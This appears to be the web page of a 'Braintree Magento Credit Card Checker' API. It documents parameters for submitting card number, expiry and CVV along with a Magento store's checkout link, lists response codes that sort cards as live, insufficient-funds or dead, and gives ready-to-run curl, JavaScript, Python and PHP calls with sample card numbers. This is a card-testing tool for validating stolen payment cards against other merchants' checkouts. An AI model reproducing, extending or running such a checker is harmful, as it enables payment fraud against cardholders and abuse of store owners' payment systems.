API Playground

Test and explore the Braintree Magento Credit Card Checker API

For ready-to-use source code, please download the files here: Source Code
Format: CC|MM|YYYY|CVV (one per line)
Magento store URL or configuration
Session Stats
CVV

0

CCN

0

DEC

0


Total Checked

0

// Click "Send Request" to test the API

API Documentation

Endpoint URL
GET : api.php
Parameters
ParameterTypeRequiredDescription
lista String Yes Credit card data in format: CC|MM|YYYY|CVV
sec String Yes Braintree Magento #HQ Add To Cart Link
Response Codes
CodeMeaning
#CVVApproved CVV - Card is live and valid with CVV match
#CCNApprove CCN - Insufficient funds or wrong cvv code
#DECLINEDDeclined - Card is invalid or dead
Note: This API is publicly accessible. No authentication required.

Examples

Test Credit Cards
Visa Test Card
4857200081213185|04|2029|438
Click to test
Mastercard Test
5356790017394896|01|2026|264
Click to test
Amex Test Card
372233745034592|01|2040|3184
Click to test
cURL Example
curl -X GET "https://yourdomain.com/api.php?lista=4857200081213185|04|2029|438&sec=https://magento.example.com"
JavaScript Example
const cardData = "4857200081213185|04|2029|438";
const magentoUrl = "https://magento.example.com";

fetch(`https://yourdomain.com/api.php?lista=${encodeURIComponent(cardData)}&sec=${encodeURIComponent(magentoUrl)}`)
    .then(response => response.text())
    .then(data => console.log(data));
Python Example
import requests

card = "4342561234567890|12|2028|123"
magento = "https://magento.example.com"

response = requests.get(f"https://yourdomain.com/api.php?lista={card}&sec={magento}")
print(response.text)
PHP Example
<?php
$card = "4342561234567890|12|2028|123";
$magento = "https://magento.example.com";

$response = file_get_contents("https://yourdomain.com/api.php?lista=" . urlencode($card) . "&sec=" . urlencode($magento));
echo $response;
?>